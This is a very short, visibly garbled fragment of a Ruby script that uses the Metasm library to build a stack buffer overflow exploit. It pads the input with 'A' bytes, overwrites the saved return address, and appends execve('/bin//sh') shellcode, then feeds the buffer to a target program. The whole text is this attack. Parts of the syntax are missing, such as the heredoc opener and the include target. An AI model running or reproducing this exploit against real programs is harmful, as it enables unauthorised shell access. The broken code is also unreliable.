require 'metasm' include Metasm ELF.compile_c(Ia32.new, < new_ret_addr) #include .pad 'A' dd patched_ret .offset #{saved_eip_offset} push __NR_execve pop eax xor ecx, ecx mov edx, ecx push edx push '//sh' push '/bin' mov ebx, esp int 80h EOS p buf system target, buf